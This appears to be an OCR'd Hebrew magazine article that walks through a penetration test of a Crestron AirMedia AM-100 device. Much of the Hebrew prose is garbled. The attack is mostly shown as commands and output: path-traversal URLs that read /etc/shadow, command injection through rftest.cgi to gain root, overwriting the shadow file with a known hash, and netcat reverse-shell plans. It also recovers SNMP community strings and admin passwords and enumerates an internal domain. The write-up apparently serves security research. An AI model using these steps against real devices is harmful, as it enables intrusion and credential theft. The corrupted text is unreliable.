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NIYN 172 ICMP over Telepathy 1'ayn7 IN'™7¥n DN T¥D N7XRWI YR UR INIR 78 11770 QWURD
NMIYNN AT 2792 XD NVAINAL AN 720Y1 DINWAN 2 12N DIY 'R 1970 D7 ooy

12NINo

NIIYKRI nY'a

NIYNY 7NN
NYIIN NNQN ANIRY TN DNVAIRNA )2-70 NDWNA X'N NN [2An7 AN'D N1VN L JIWRY 2790
NN IXXN - V7N 2V MPInY DITNNAN WIS'NI NI7ONoN INK7 .NINYIN MY 2 12N7 2T nNiva
Presentation "-> anow Embedded 212 Narm "100-Crestron AM"-2 n'n N2t ,2n oY
XN 7w Firmware TN 1100 X7 - 1'01 nnd mawn X471 ."Sharing and Management Solution
Y¥17 IX Firmware-n DX 2'Wn7 *TOY 12N0N) UINVI'RA D'ID0N D'VIONAN NXR A'WNYT - 'D17'N7 IX
nyT? *72an ,Embedded 2571 NaImaw AT 0N N7 W'Y DN TR L(DIYDY DIRY? 2TNY f2an [IDTY

21T N7Y90 NOWN TR IX MIIVZVOIXRN NN Chipset-n NN

no'7NnN VYN NKX ANKY? |2IMd AN MINKN N ,NMap NIYXNXI1 NOIyYnNn NX |7I"IO'7 n7nNn ™X
NXY7 YN ,NYINN IX 20N NITANN DIYY? D'9o¥N X7 NNIKY [Nl .NoAYN NNIX v nh

(T4) yvhonn?

nmap -sV -T4 -Pn -0 {IP}

NN N7 07901

Starting Nmap 7.40 ( https://nmap.org ) at 2018-09-19 10:12 SE Asia
Standard Time

Nmap scan report for {IP}

Host is up (0.000030s latency) .

Not shown: 993 closed ports

PORT STATE SERVICE VERSION

80/tcp open http lighttpd 1.4.37

389/tcp open ldap-?

443/tcp open ssl/http lighttpd 1.4.37
515/tcp open printer?

1688/tcp open nsjtp-data?

3268/tcp open globalcatLDAP?

8080/tcp open http-proxy?

[... Trimmed ...]
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Web-n punn

X7 "Nann 1yx? .nmyy 2anann Firmware-n IR 2'wn? 0710 11NIX DXN NIKAY? 0D Xan Q7wn
190N INKY? ,NNT DY .0IYMN '019 77D NX NXYMw X7 DA Firmware-n IR TINY7 NMWO'R

NAN MW7 van? nn7¥n L7211 p'wion

https://p.widencdn.net/fuOpzc/software airmedia am-100 1.5.0 am-101 2.6.0 firmware

mtvai, (Firmware Modification Kit 7w q1x') *FMK 0j'non niy¥xnxa nnwya Firmware-n NN'M9

I1Binwalk-n :Embedded-n 2710 7w AN aon 1T

Firmware-n 27nn

MNaY Firmware-n ,Firmware-nn D'p'7N 190Nn NINT? 0'2V pnnn 1'7nn DX DY7'NNNY- 199

ININT L, A'WNT7 1IN7¥NYW NINNRD N0NA NN

AM-100 firmware 1.5.0.4 6506508 WM8440.img
MD5: f73a77af09clcdl7ca568ba3d237¢c392
SHA256: 1lef9cee502e8cb43880531adc90faal5l552el1f3celfB8ae7823fe44396321£93

Linux-2.6.32.9- nidyn 1Ay CramFS 2100 D'¥AjR NDWNI NIy 17 nNXIN 1'7v Binwalk n¥an
.2015-06-18 09:22:00-2 NINNXY? DTV XNl ,ARM (Little Endian) N10j70'oR v nxw default

.1 ND011 XI¥NT NI NIX'MN Binwalk-n NINXIN NN

'n'1d yTn I71|7'7 D'2'MIYN NNIX ."TA NI 17 1Y X7 |'""TV KIN 22N ,N9' 210 ATD VTNNY |AMm>d

0N FMK Niy¥nNa Y707 1n7¥nw 0'-Image-n NI IFirmware-n 9 n1ann 7y anre

-rwxrwxrwx 1 ubuntu ubuntu 1.2K Oct 8 11:11 footer.img

—rwxrwxrwx 1 ubuntu ubuntu 512 Oct 8 11:11 header.img
-rwxrwxrwx 1 ubuntu ubuntu 32M Oct 8 11:11 rootfs.img

NI'PNN NN2ANNY NIFPTNT D'¥APN NN NN NN 1172'7 ,rootfs.img yalzn NNMol yI'7'n AInXY

N7 AN AT, pnn

ubuntu ubuntu
ubuntu ubuntu
ubuntu ubuntu
ubuntu ubuntu
ubuntu ubuntu
ubuntu ubuntu
ubuntu ubuntu
ubuntu ubuntu
ubuntu ubuntu
ubuntu ubuntu

Arwxrwxrwx
ArwXrwxXrwx
ArwXrwxXrwx
Arwxrwxrwx

bin

dev

etc

home

init -> V?2°2°?
lib

linuxrc -> V?°?2°?
mnt

Arwxrwxrwx
Arwxrwxrwx
1rwXrwxrwx
ArwXrwxXrwx
1rwxXrwxrwx

PR R R R R R R
0 O W W 0 W W M W

Arwxrwxrwx

! https://github.com/rampageX/firmware-mod-kit/wiki
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ArwxXrwxrwx

ubuntu ubuntu
ubuntu ubuntu
ubuntu ubuntu
ubuntu ubuntu
ubuntu ubuntu
ubuntu ubuntu
ubuntu ubuntu

ArwxXrwxrwx
ArwXrwxXrwx
ArwXrwxrwx
ArwxXrwxrwx
ArwxXrwxrwx
ArwxXrwxrwx
ArwXrwxrwx

N N e e
NGO O O O O NI
0 O W W 0 W W W

.01 D17 1y axnw symbolic link Dxya on 0'¥aEn 775 D1 NED Drpmn 73 D A nR LIy
-0 7Y Image-n T yI7'n yxa7 - NNWUN DNNOIND DX NI017 107NN ,N901 NawNn NKRY X

NINAN NITIRON DX YN 2T 9182 Mount 17 NIWYY7 10 ™ ,CarmFS NXIn Firmware

mkdir /media/cram
sudo apt-get install cramfsprogs fusecram
fusecram AM-100 firmware 1.5.0.4 6506508 WM8440.img /media/cram

nyd |37 0TI 1Ty X7w Symbolic Links-n - 'yau [DIXAI 0'¥APN NDIYNI 1107 D'713' 1INIX NYD

:D'YRNN 0N 2'N7 117 NIRINT D20 17'W1 71 N7Y9NN NN T Y 1T

drwxr—-xr—-x
drwxr—-xr—-x
Adrwxrwxr-x
Adrwxrwxr-x
Arwxrwxr—-x
Arwxrwxr—-x

bin

dev

etc

home

init -> sbin/init
lib

linuxrc -> bin/busybox
mnt

proc

root

sbin

SYS

tmp

tools

usr

var

1rwXrwxrwx
Adrwxrwxr—-x
1rwxXrwxrwx
Arwxrwxr—-x
Arwxrwxr—-x
Arwxrwxr—-x
Adrwxrwxr—-x
Adrwxrwxr—-x
Arwxrwxr—-x
Arwxrwxr—-x
Arwxrwxr—-x
Adrwxrwxr—-x

PR R RRRPRRPRRRRRRR R BE RS

0291 Symbolic Links-n DN'7RW D'¥apn IR XNP7 0'710' NNR2 INIX DXN NIRTY 1'01 DT A7WAa

12X TR ,DWINYN [I'TNA NI DYS AIYY

root@hk-elbn-1s:/media/cram# cat etc/passwd
root:x:0:0:root:/home:/bin/sh
abarco:x:1000:0:Awind-Barco User,,, :/home:/bin/sh

root@hk-elbn-1s:/media/cram# cat etc/shadow
root:$6$5ajzjC2hs$heYvG6vIW2 IvRbxSXcSDgPWHCO0FIO01ZMrB2QZZHr000KfmFBUBjt/aG
XgT9vJjRkDKF//RYMXcGfV5WeGylergl:0:0:99999:7: ::

a¥n" NdNN DY PNY7 'NNNY7 0Y10' 11NN D'Y¥ARN YI7'N Q%W NN Y¥27 DXY] 1010 DT A7wA

2PNNY7 D210 70NN V7NN NRT X .11'TA Y'Y NN NMIY ANINN A'NN NDWNANY aimd "
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nivLIn 1y

File Inclusion

o'xapnl ni'g'nn T ]1hY; [N IO NNOIN O'X2 N NNV nIXY? [N DYOSN NYMON ANKY

:NINQN N2IMDN DR IR¥N Web-n nw? nNTIin NY'ad .0IvN

http://{IP}/cgi-bin/login.cgi?lang=en&src=AwLoginDownload.html

1¥N71 LFI-7 Y19 DX NnINWNNW nlpna ,WEB-n NIYYIN 'NITXYT NIT'ON 1IXW] ,UpANNY '9) TN

VIR

http://{IP}/cgi-bin/login.cgi?lang=en&src=../../../../../../../../../../../etc/shadow

LFI-7 Y129 71 X7 TINyW XN 72Th Nynwn ,NTN K190 11'7X% 11N shadow-n yai 7w pINn - DRI

NN DIwA chrooted 1'R XINI root NINWANA Y HTTP-n MWW N7X

,FOOt-D DO'¥1 NNIXYW INKN .NDIWN N'0NP AYW7IN - N7YW [IWRIN RXANYT 1INIK 27200 1T DT
LJINT DY .NINTT 12220 DIWA 112Y7 IXD 720 - NIRTEL,DO¥APN NDWNA Yalp 7 [1yu? 071! 11NIX
N¥IN 7¥ 2'0MMID 0NN INIX ,NNT NIYYY 722 NINWAN MY NIX 1207 117 QWONNn X7 TV AT

200 TR

D'7'yo DMIA'N NN TY - 01212 A12'0
N0 "y 7'D T2 XIN DN N780 NN ynn 7V D"'TRAN D'NN'Y DK WID'NY Nnd TV
NXMP NNYOKX 77 NINI AWK "W 7N D 72 'K "2Tn root-D nITRS Y"\n'? |1 12 2¥N Nyl

/proc/net/tcp :yalpn NAWN N IWRIN QA7WN .0Nay

https://{IP}/cgi-bin/login.cgi?lang=en&src=../../../../../../../../../../../proc/net/tcp

JNMYQ NYP ATON X DY DIMIN 70 .NIZpa ARMP7 NING NI'R 07270 XY ARXINN ,NNT DY TN
YaI7n NIX 107197 MINK WK Python U970 NN N2 WX 221712 NNIWA 1IXYN X7 WI9N INKY

ZNNQN NRXINND DX 17217 NXINN INKYT .XNP7 072100 DIXY 00119 117 7907 WXIMDI

0, '0.0.0.0:49153', '0.0.0.0:0', 'LISTEN', None, None]
0, '0.0.0.0:515', '0.0.0.0:0'", 'LISTEN', None, None]

0, '0.0.0.0:3268', '0.0.0.0:0'", '"LISTEN', None, None]
Trimmed ...]

:NNAN nmap-N NTIP9 DX N0171 D'TAT D'OPXAY NNd YN CyberChef-a nwnnwin NXan 27wa

nmap -p
49153,515,3268,389,62828,8080,80,7000,1688,31865,1689,443,7100,19996,710

2,5566 -T4 -A -v 10.120.198.27

2 http://voorloopnul.com/blog/a-python-netstat-in-less-than-100-lines-of-code/
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SSL n11ayn nnyo - onia A11'o

Jetc/lighthttpd/server.pem :2'mia pem yaly n'n ,djFnnn Nya 0wy 17 yspw o¥apgnn TNX

2210 7Y web-n MW 7w 70NN KiN lighttpd-w Dy T 92D 120X ,D'¥A7N DDA DY NN

11'X11 Certificate-n 7V 1170N0N .MI2'Y NNONI '0ID NNBN 7710 XIN D 11'RY Yalpn 7y Nidnonn

"www.barco.com" 112y Self Signed Certificate Nartnw

D)

Coortifivate

—

www.barco.com

cert.pem Open with Keychain Access h

Issuer Name
Country TW
State/Province Taiwan
Locality Taipei
Organization BARCO
Organizational Unit AWIND

Common Name www.barco.com
Email Address marx.chiu@barco.com

Serial Number 00 D7 8D 6D AB CF 84 32 F8
Version 1
Signature Algorithm SHA-256 with RSA Encryption ( 1.2.840.113549.1.1.11)

Subject Name
Country TW
State/Province Taiwan
Locality Taipei
Organization BARCO
Organizational Unit AWiIND
Common Name www.barco.com
Email Address marx.chiu@barco.com

Not Valid Before Tuesday, June 7, 2548 BE at 1:52:57 AM Indochina Time
Not Valid After Monday, June 2, 2568 BE at 1:52:57 AM Indochina Time

Public Key Info
Algorithm RSA Encryption ( 1.2.840.113549.1.1.1)

NN D721 - NMYNN 1MWNY Yalpn 1Y Certificate-n 2 nXIWN

AirMedia~

W www.barco.com

T CRE

www.barco.com

Organization
Organizational Unit
Common Name

Email Address

Serial Number
Version

Signature Algorithm
Parameters
Country

State/Province

Locality

Cortyfieatte > -
s Self-signed root certificate
- Expires: Monday, June 2, 2568 BE at 1:52:57 AM Indochina Time
This certificate has not been verified by a third party
¥ Details

Country TW

State/Province Taiwan
Locality Taipei

- manan

BARCO

AWIND
www.barco.com
marx.chiu@barco.com

00 D7 8D 6D AB CF 84 32 F8
1

SHA-256 with RSA Encryption
(1.2.840.113549.1.1.11)

none

w
Taiwan
Taipei
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7 7x SSL nhiavn 7 ,Wireshark-7 '019n nnonn oy Certificate-n NX [Iv07 n'n Xxan 27wn
JNa'ox9 MITM Nopnn NINT? 221 ,NN9NN NIYXAX NNIR NWOY 710' 1INIX DX P1TA71 NNWN
NN'KN VIiNY nn LECDHE-2 W'y WYY 12'KY - Nz'myn INIF byn DR T2 INK71,7W0 0T [1I'01
NOPNN Y¥IAY 127V - IRT NIYYT N'XNT7 MTI1.FA'0KRD 91N NMIAYNN DX NIY9Y7 7W NNWORN DX

N'0PR MITM

L O |
A m 3@ RE QesEF IS FH Q& Q>
Apply a display filter ... <88/> '] Expression... E +
No. Time Source Destination Protocol  Length Info
1 0.000000 10.1 10.1 TCP 78 51539 - 44—
2 0.003912 10. 10. TCP 74 443 - 5153
3 0.003967 10. 10. TCP 66 51539 - 44
4 0.004104 10. 10. TLSV1.. 252 Client Hel
5 0.007564 10. 10. TCP 66 443 - 5153
6 0.516427 10. 10. TLSvl.. 1514 Server Helm—
7 0.516434 10. 10. TLSv1.. 734 Certificat
] M 51A532 101 10 TCP AA_51530 - 44
Handshake Type: Server Hello (2)

Length: 57
Version: TLS 1.2 (@x0303)
» Random: 82ca5@ad361cd8cB862463e714ed0ec9358d28d5a0af7a567. ..
Session ID Length: @
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)

Compression Method: null (@)
Extensions Length: 17

»_FEvtancinn: rananatiatinn_infa (lan—1)
0060 5a @a f7 a5 67 d9 1a 61 e3 5d bd 7f 4c 00 c0 30 Z---g--a -]--L--0
00 00 11 ff 01 00 01 00 00 @b 00 04 03 00 01 02
00 23 00 00 16 03 @3 @5 a2 @b 00 05 9e 00 05 9b #

00 @5 98 30 82 05 94 30 82 @3 7c 02 09 00 d7 8d 00 |

o6d ab cf 84 32 f8 30 @d 06 09 2a 86 48 86 f7 @d m---2:0 * - H
01 @1 @b 05 00 30 81 8b 31 @b 30 09 06 @3 55 04 0--1-0---U
06 13 02 54 57 31 0f 30 @d @6 @3 55 04 @8 Oc 06 TW1l-@ U

54 61 69 77 61 6e 31 0f 30 @d 06 03 55 @4 07 @c Taiwanl- @---U

06 54 61 69 70 65 69 31 @e 30 Oc 06 03 55 04 0Qa Taipeil @ u
@c @5 42 41 52 43 4f 31 @e 30 Oc 06 @3 55 04 @b BARCO1 -@ u
@c @5 41 57 69 4e 44 31 16 30 14 06 @3 55 04 03 AWiND1 -@ u
Oc @d 77 77 77 2e 62 61 72 63 6f 2e 63 6f 6d 31 www.ba rco.coml
O Z Cipher Suite (ssl.handshake.ciphersuite), 2 bytes Packets: 469 - Displayed: 469 (100.0%) Profile: Default

f!nlll"! TIY D"9IN

11907 XIN NIYY7 NI |DIN NTIY 1N7¢ U ,NTIRD DN A'Wn? NN7¥N X7 " TYY INNN
NX YW wnnunin 7¢ /home-n NU7'N NN NPT QY [IWKIN DIPARN .D'¥270 DDIYNI 7niyy?
nNY AN'N N7Y NN TR N2OYIN ANTN X7 NnTIgn aw7ainng nTawnn . Web-n nw

.NNI22 '"T X'N - 011 '0'0] INWN XXN1IY NIN'AoN |Z)'7I NNI2A NA'R N'7'70N NNLAXN

22'N17 NYAND NIX IRXYN DAL, Web-n nw nexaiaoa Nk nxyn "/home/boa/boa.conf" 2'nia

’CGIPath /home/boa/cgi-bin: /home/boa/rdcgi

NNIX "My ,"/tmp/rdcgi”-7 727 N 2" 2'Man Ly nwn onikw CGI-n 1A Dayoa "0 2'nann

WD DR 70w X' m oo a'wny

D"720 MY 2 DXY2 ,NNX 720 7 DA AT
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D'2'N1 190N NN 121 libAwCgi.so DWA yaIp'? 12T 7w 19102 1NIX 7210 ATh (1D IPNn Jwnn

.:0'S011 D"1"1VnN

@ Cutter - C:/Users/ynativ/Downloads/libAwCgi.so.1.0.1

File Edit WView Windows Debug Help

- Type flag name or address here
Functions F X

Mame - ™ ﬁ..ddre?s String

ren-uIaEUE 0x00001f35  GetSession|D
fen.0000383c OocD0D02412  seek_session_itermn

fen. 00005384 0x00002468 set_session

fon 00005903 OueD0D0243a start_session

fen 00005962 Ooe000024b2  kill_session

fon. 00005980 (rD00024c5 get_session_time

for. 000050k, Oae000024d6 check_session
fcr.0000598 ﬂ:dmij:f cLeanl':_nther_user_sessinn

OeeDOD0 check_user_session

fen.00003%ec 0xDD002510 clean_session,_file
loc.0000746c 0x00010d24 /var/log/session0%d
loc.000075e4 0x00010d38 /var/log/session%d
locamp.AwSysClglnit

loc.amp.AwSysCfgReadFlash

NIAX'NMY NITNNAN DI0NINA DNAY D'¥I7N NN'YY DXV XD N70N7 NN NNANNY 1INXN DY
lighttpd NYwn win'w nwiy "varSEID" nINwnNaw 17 0w 71010 'wnnwn 7¢ D'-sessions-n NX
DW1 N'O'¥90 N'¥71I9Y 17 NNY ,q01N1 .X7 IX Logged in NXIN D"ION session DXN [An7 '
S'/mnt/osdimg” 2'M1a 7017 ININ 1'9MY INXR LJND'T T'RY? Nwal ITn ny7aon "AwGetCfg"

flash-nn nw¥vRY nwaa X I

nwn ."/etc/content/AwDefault.xml" :2'M1a NIX? TWOX 7TNAN NN NIYADAZA 770 DX
RINI 22T D17 D TV IRIDY TINY7 27 - 'ayn 1910 DRI DY YaIR? 2T y7nT n7¥n

.0712% NIXWNN DY DY 1IN

https://{IP}/cgi-bin/rftest.cgi?lang=en&src=AwServicesSetup.html

D"720 MY 2 DXY2 ,NNX 720 7 DA AT
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® & hitps;//10. 1 <gi-bin/rftest.cgi?lang=en&src= AwServicesSetup.html e @ 1y
RF Test (ver0.1)

Set Channel L . :
802.11 a'b/g/n depends on CountryRegion setting

Enable RFTEST O
B -7 ~15 : 5GHz 5-bits only, deimal
S DT G L T -7 ~15 : 5GHz.5-bits only, deimal
Set RF frequency offset 0 ~ 63 ; unit: 2KHz, decimal
Set fr: ! h | |

ame lengt 24 ~ 1500 ; decimal
Set frame Tx count 1~ 32-bit, decimal
Set Tx Mod v

x Mode |
Set Tx and Rx Bandwidth ~
Set Tx Guard Interval
Set Tx MCS ~

X type
Set TX antenna ~ |
Set RX antenna ~ |
Set to periodically reset and show up RxCount (per-second) and RxTotalCount v
Reset statistic counter v |
Enable auto Tx alc (Tx auto level control) V|

1

['RY DX D'PNWN NXP INXR7 .0TIRO MW7 (| ) 21'9"9 nyxanw POST Nwpa ¥ TN 09100
Yami "/tmp/RFTEST"-2 yal'? and1 ,Tay'Ta) nTIrod NXIN7 NN'Y' 121y 10NI9NYI 1107'9 DIY

iy allanlv) [11202 TI7 XN TWONNYW 4 ND0IN UO'70N 2AND1 hwn .bash naryva

[1s /] bin
dev

etc

home

init

1lib
linuxrc
lost+found
mnt

proc
root
sbin
Sys
tmp
tools

usr
var
[whoami] root

root NIXYIN2 NDWN NITIZO YyNIn? 117 NMWONNY NDPNNYT NY*AD NOIwNN D DT X DT 27wa

NXXINNN D'¥YNN N'NY ARND ,0NNR Embedded "znna .NINTmN 2% NX 12v72 XN 2an

D"720 MY 2 DXY2 ,NNX 720 7 DA AT
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NN - NN NIKYINA TIR YN Ni7¥n? 77 X7 X' NN0N ,NRT DY X XD 17Nnn DX D''o9nl

JINYAN MY 22177 NAI07 TN 20 DR 7X17 [N DRN NIRYY

[2 2777 72100 NNRW N'DINYG YT 7'90N T AT ,0"720 MY DY 21 7V root 17 W'wd ,'ONIN'T [DINA
TN ZNNN 7Y AT 7700 ,]271 WON NTY 'O71D |DIX] NIXINY IXD NIX YN X, NINYIN
DXINN DX 71X 'TNA 0910NY D2 17PN NXINN 170N .NR'0I97 ANIN'MIN DX 19071
yTn 72p2% 0'oxn NNIX [NAW NITIR9Y 119010 |27 .stderr 78 "aIvw nn NX K71 stdout 78 DDY21INW
Yaljn IN% stderr NX DAl stdout NN DA R¥"N WK " &> /tmp/op" 7In'on NX stdout 1'RY DIMY7

.]a1 INKY? NTIP9A cat Y¥2) NI

IR 17901 DY 17'R1,270 7Y netcat w'w 117 IKDN NINAN NITIRON

[which nc] /usr/bin/nc

[/usr/bin/nc >> /tmp/file.txt 2>&1]

[cat /tmp/file.txt] BusyBox v1.18.4 (2014-05-21 11:31:55 CST) multi-call
binary.

Usage: nc [-iN] [-wN] [-1] [-p PORT] [-f FILE|IPADDR PORT] [-e PROG]
Open a pipe to IP:PORT or FILE

Options:
Run PROG after connect
Listen mode, for inbound connects
(use -1 twice with -e for persistent server)
Local port
Timeout for connect
Delay interval for lines sent
Use file (ala /dev/ttyS0) instead of network

NAI0 17'9X MIYA NIXTEL,qPNIN 2010 7Y W19 Netcat 17 w'w NyT7 D21V N7NNN V7NN NINT
["Iyn NNRWD 'OX7{7 ,NN"19 N79nIj7 exec N'¥9IRN - ynwn) "safe nectcat” X7 XInw NIk Ny
RN WID'NN 77NN ,NIRT DY X ,2'70 2V SSH Ni7 Xixn'7 nn'7¥n X7 .(2'op01' Shell a'wn?

NIy¥nXa IM79ni (Embedded 2212 yi91 1) dropbear aion SSH nw

/etc/init.d/S41ldropbear

.N9IXNd NTAY

N7 X7W INRN) N7 0'WINGIN MY DN NNIXA DAl X7 XN Shadow-n NIXNO'OW TNKRN
N'0PIO DY .(NAWNN TN NI DT IYPYAY K7 - 7Thn 11N 0'7uoin Telnet IK SSH Mww

MNR MUY 21 720 'WOYYT [123W ,Y2127 NI9OI NNIY §'0In7 NN NIt

r g
$6$SajzjC2h$heYvG6vW2IvRbxSXcSDGPWHCO0FIO1ZMrB2QZZHr000KfmFBUBT t/aGXgT9vjRKDKE/ /RYMXcGEVSW
eGylergl:0:0:99999:7:::
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YR NNIXK 90N 11'0*1 "123456" nTinnnn NIy hash mx' ™)

cat /etc/shadow

echo

\"root:$6SNvzArc 3.1PIT1tIQgVPYbK4h1h9clIx111A0.ti6XyiE4/krRzrB59ahHICMHdheWB5g3gRtTt.
99999:7:::\" > /etc/shadow

107901
beSXcSDqPWHC9OFIOlZMrB2QZZHrOOOKfmFBUBjt/aGXgT9vjRkDKF//RYMXCGfV5W

1tIQgVPYbK4h1h9cl1lIx111A0.t16XyiE4/krRzrB59ahHICMHdheWB5g3gRtTt . R
rM77v9tnOe : :7:::" > /etc/shadow]
[cat /etc/ 8
$6$SajzjC2hsh y Hr00OKfmFBUBJt/aGXgT9viRkDKF//RYMXcGEV5W
eGylergl:0:0: 873

N7 P71 root W NINWAND DY INIX .MINWN K7 77D shadow-n yalp .1n7w01 - NIXYY? [NIY 1ndI
NTIPON NXIN TINYAI ARAYN NIYTINL 7D 'YAR AKX 2pynl 21Ny NP 0y 37NN A1n oyn Nk

:a¥nn NX X7 17 Nty "mount”

[mount] rootfs on / type rootfs (rw)

/dev/root on /mnt/.cramfs type cramfs (ro,relatime)

/dev/mmcblklp2 on / type ext2 (ro,noatime,errors=continue)

proc on /proc type proc (rw,relatime)

ramfs on /tmp type ramfs (rw,relatime)

sysfs on /sys type sysfs (rw,relatime)

usbfs on /proc/bus/usb type usbfs (rw,relatime)

mdev on /dev type tmpfs (rw,relatime)

devpts on /dev/pts type devpts (rw,relatime,mode=600)

/dev/mmcblklp3 on /mnt/mmcblklp3 type vfat

(ro,relatime, fmask=0022, dmask=0022, codepage=cp437, iocharset=1s08859-
1, shortname=mixed, errors=remount-ro)

/dev/mmcblklp4 on /tmp/usb/mmcblklp4 type vfat

(rw, relatime, fmask=0022, dmask=0022, codepage=cp437, iocharset=1s08859-
1, shortname=mixed, errors=remount-ro)

:UTNN NNIX [IVO7 12'01 T2%72 XM NIRYAN DY MYV D'¥270 NDYN - 27 IN'WN DX

c:\users\xxx\appdata\local\programs\python\python37\python.exe
execute.py

[mount] rootfs on / type rootfs (rw)

/dev/root on /mnt/.cramfs type cramfs (ro,relatime)

/dev/mmcblklp2 on / type ext2 (rw,noatime,errors=continue)

proc on /proc type proc (rw,relatime)

ramfs on /tmp type ramfs (rw,relatime)

sysfs on /sys type sysfs (rw,relatime)

usbfs on /proc/bus/usb type usbfs (rw,relatime)

mdev on /dev type tmpfs (rw,relatime)

devpts on /dev/pts type devpts (rw,relatime,mode=600)

/dev/mmcblklp3 on /mnt/mmcblklp3 type vfat

(ro, relatime, fmask=0022, dmask=0022, codepage=cp437, iocharset=1s08859-
1, shortname=mixed, errors=remount-ro)

/dev/mmcblklp4 on /tmp/usb/mmcblklp4 type vfat

(rw, relatime, fmask=0022, dmask=0022, codepage=cp437, iocharset=1s508859-
1, shortname=mixed, errors=remount-ro)

[mount -o remount,rw /dev/mmcblklp2 /]

[mount] rootfs on / type rootfs (rw)
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/dev/root on /mnt/.cramfs type cramfs (ro,relatime)
/dev/mmcblklp2 on / type ext2 (rw,relatime,errors=continue)
proc on /proc type proc (rw,relatime)

ramfs on /tmp type ramfs (rw,relatime)

sysfs on /sys type sysfs (rw,relatime)

usbfs on /proc/bus/usb type usbfs (rw,relatime)

mdev on /dev type tmpfs (rw,relatime)

devpts on /dev/pts type devpts (rw,relatime,mode=600)

/dev/mmcblklp3 on /mnt/mmcblklp3 type vfat

(ro,relatime, fmask=0022, dmask=0022, codepage=cp437, iocharset=1s508859-
1, shortname=mixed, errors=remount-ro)

/dev/mmcblklp4 on /tmp/usb/mmcblklp4 type vfat

(rw, relatime, fmask=0022, dmask=0022, codepage=cp437, iocharset=1s08859-
1, shortname=mixed, errors=remount-ro)

A oNT? 1'01 L("ro" 1 K71 "rw" NIXWNNA K'D NYOW 17 In'W) NNYXN] Ny 1Y7NNne Rl

:shadow-n yalp NX DYS

root:
IvRbxSXcSDGPWHCO90FIO1ZMrB2QZZzHr000KfmFBUBI t/aGXgT9vjRkDKF//RYMXcGEV5W

C3.1PIT1tIQgVPYbK4hlh9clIx111A0.ti6XyiE4/krRzrB59ahHICMHdheWB5g3gRETE . R
99:7:::" > /etc/shadow]
.1PIT1tIQgVPYbK4h1h9clIx111A0.ti6XyiE4/krRzrB59ahHICMHdheWB5g3gRtTt.RrM77v9tnOeale/ :
99937323

DYV DNIX 0907 PN N K7 KINW DRI X - dropbear-n NNW DX WTNN 17V90 .1IN7¥NY AR

.netcat NIY¥nNKN2 Reverse Shell n¥ N1, TN DX 12127 7'0907 107NN .D'WTNN NINTTAN '01D

Web-n punn Admin nIXwAN NawN - onia A11'0

NIXP™OXR VYN X71 NN NP RN /tmp NN 27 DAY ,0'¥3PN NDIWN NIVVIY VYN TNKY
QY 'WIN'Y YT DY D'¥d7 VYN X7 N2 NINT? DNYYN .IAT YT DY D207 Win'y N NIYIY
N'UKIN DDINN 7¢ nx¥n 1D'70N7 state information 'tnn YWR /tmp/scfgdndf yaipzn ,xnarT?
7101 7V NI'RONRY N7 NNATD ,NIS0N NIDIN 'YK [INDTN N9IN 1'% DA TWKI Crestron-n 7w
.011Y state-files 71N 0'R¥YN1 D710 TIYI DIY D'NN'Y 7¢ DFYIRADAR ,NYIN T NAXNN RN
A TNN /tmp/scfgdndf yalzn 7y XnarT? strings nTIoNn

[strings /tmp/scfgdndf] WPS820 100111101110001
Crestron AirMedia

WiPG1K5s

0000

#FFFFFF

RJJ7-S5

default

AM-100

user

trainer

admin
1920x1080-Projector-MRDNOTE. jpg
CONTOSOprivateb555

user
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authpass
privpass
CONTOSOpublic555
GMT-8_CH

0.0.0.0
moderator
COnToS0123!

0NN W Web-n pwnn? Xno'on N1'N NINNKRD NTNNAN ,XNAIT 1IN X DIY [2nd DITNnnn

7v private community string-nI public community string-n |1'n 555-2 NIN"'NONN NITNNAN 'NY

-0 NN'W W DY19'MN DX 701NY MIB yalz 1IR¥N NNIPAN DNYIRD 7 nwnon ANK? .SNMP-n

:(OIDs) D'1"ayn NINNSn Nnd'7 27 0'W7 [N 17w N0 1NX7 .SNMP

1NN NNn? NNSoN 4 7w TIiEn DX 790N - 1.3.6.1.4.1.3212.100.3.2.7.4 e

FTP T Anwip 1>TY7 N2 - 1.3.6.1.4.1.3212.100.3.2.9.5 o

ANTYY? yalpn owi M L FTP-n v 7 nyfaynn URL-0 namd - 1.3.6.1.4.1.3212.100.3.2.9.1
NNYIRD IR 10N

:SNMPWalk-2 win'w WnxY

C:\Users\xxxs

? SnmpWalk.exe -r:{IP} -c:"CONTOSOprivate555" -
0s:".1.3.6.1.4.1.3212.100.3.2.7.4" -op:".1.3.6.1.4.1.3212.100.3.2.
7.5"

SnmpWalk v1.01 - Copyright (C) 2009 SnmpSoft Company

[ More useful network tools on http://www.snmpsoft.com ]

OID=.1.3.6.1.4.1.3212.100.3.2.7.4.0, Type=OctetString, Value=3801
Total: 1

D7AN 7V %071 IRTIN NIN'YWY 90xN71 W 727 1O wamn Tipn 120 3801 Tipn
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NINYIN NIYA - 19PN INXYT

50N TIY W' NRT OV X RN 7V NN NIRYINA TIZ D¥IN D713 2'wn? 1N9xN LIT 0TI
X7 D'DNTD OPTN92 PN PPN .A7Y DuNn DX WIQ37 Nan 7Y 111191 0FTNIYY DMANK

JINYAN MY 2 IWA7 TIWORY NDINYT N7¥n7 X9X - jpnnn
NYIN NV [TNIX
M0 NINY D710 X'DL,NWAT7 2070 7w DIMIRNN YR YR PIFTA 20T 00DNY NIX DT A78A

a¥nn NN [INQ7 Nan 7y .n97 17" N9Y pnnn D P% DNy nn - Firewall-n nnna roitn?

:ICMP-1/ DNS nI"ia'n Njz'1a% NITiEo 190N 1¥N

commands = ["dig CONTOSO.local", 'nslookup CONTOSO.local', 'ping -c4

CONTOSO.local']

:Nan 0790 DR N7y

[dig CONTOSO.local]

nslookup CONTOSO.local]

Address 1: 198.168.0.123 cont3001.CONTOSO.local
Name : CONTOSO.local

Address 198.168.0.123 cont3001.CONTOSO.local
Address 198.168.0.123 contl1001.CONTOSO.local
Address 198.168.0.15 contl1002.CONTOSO.local
Address 198.168.0.15 cont3002.CONTOSO.local
Address 198.168.0.111 CORPA2001.CONTOSO.local
Address 198.168.0.100 rw2003.CONTOSO. local
Address 198.168.0.123 cont2001.CONTOSO.local
Address 198.168.0.44 cont5005.CONTOSO.local
Address : 198.168.0.39 cont5004.CONTOSO.local
Address : 198.168.0.145

Address : 198.168.0.123 contl1001.CONTOSO. local
Address : 198.168.0.15 contl1002.CONTOSO.local
Address : 198.168.0.123

Address : 198.168.0.123 contl002.CONTOSO.local
Address : 198.168.0.15 cont2002.CONTOSO.local
Address : 198.168.0.123 contl1001.CONTOSO. local
Address : 198.168.0.144 cont9001.CONTOSO. local
